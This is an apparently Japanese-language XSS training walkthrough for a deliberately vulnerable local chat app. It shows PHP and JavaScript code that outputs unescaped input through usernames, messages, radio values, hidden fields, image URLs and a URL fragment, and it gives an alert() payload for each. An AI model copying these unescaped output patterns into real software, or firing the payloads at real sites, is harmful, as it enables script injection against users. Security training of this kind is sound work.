ユーザー名とメッセージの出力箇所で、入力値がエスケープされていません。
<span class="username"><img src="icon_<?= $msg['icon'] ?>.png" class="icon" onerror="this.onerror=null;this.src='icon_default.png';"> <?= $msg['username'] ?></span>: <p><?= $msg['message'] ?>
ユーザー名またはメッセージに以下のペイロードを入力して投稿してください。
<script>alert('XSS by simple input');</script>
ラジオボタンの value 属性が、ユーザーからの入力値に依存しています。これにより、不正な value を設定し、アイコン画像の onerror イベントを発生させることができます。
><label><input type="radio" name="icon" value="default" checked> デフォルト</label> <label><input type="radio" name="icon" value="cat"> 猫</label> <label><input type="radio" name="icon" value="dog"> 犬</label>;
そして、アイコンの表示箇所で icon_<?= $msg['icon'] ?>.png のように直接利用されています。
<img src='icon_<?= $msg['icon'] ?>.png' class="icon" onerror="this.onerror=null;this.src='icon_default.png';">
開発者ツールなどでラジオボタンの value を以下のように書き換えて投稿してください。
' onerror="alert('XSS by radio value')">
これにより、アイコン画像の src が icon_ となり、そのようなファイル名の画像はないのでonerror イベントが発生します。
hiddenフィールドの値が、サーバーサイドでエスケープされずにそのまま出力されています。
<input type="hidden" name="hidden_param" value="normal_value">
そして、出力箇所で (Hidden Param: <?= $msg['hidden_param'] ?>) のように直接利用されています。
開発者ツールなどでhiddenフィールドの value を以下のように書き換えて投稿してください。
<script>alert('XSS by hidden param');</script>
画像URLが <img src="..."> の src 属性にエスケープされずに挿入されています。
<img src="<?= $msg['image_url'] ?>" style="max-width: 100%; height: auto;">
画像URL入力欄に以下のペイロードを入力して投稿してください。
' onerror="alert('XSS by URL')">
これにより、<img src="x" onerror="alert('XSS by URL');" style="..."> のようなタグが生成され、src が不正なため onerror イベントが発火します。
JavaScriptコード内で、URLのフラグメント(#以降)から取得した値を innerHTML に直接挿入しています。チャットメッセージの表示部分に埋め込まれているため、メッセージの一部としてDOM Based XSSが発動します。
<div class="dom-xss-integrated"></div>
<script>
const domXssIntegrated = document.querySelector('.dom-xss-integrated');
const fragment = window.location.hash.substring(1);
if (fragment) {
domXssIntegrated.innerHTML = 'URLフラグメントからの出力 (DOM XSS): ' + decodeURIComponent(fragment) + '</p>';
}
</script>
vulnerable.php のURLの末尾に以下のようなフラグメントを追加してアクセスしてください。
#<img src='' onerror="alert('XSS by DOM')">
上記のフラグメントをブラウザのアドレスバーでURLに追加すると、URLエンコードされるので最終的には以下のようなURLになります。
http://localhost/xss-drill/vulnerable.php#<img%20src=''%20onerror="alert('XSS%20by%20DOM')">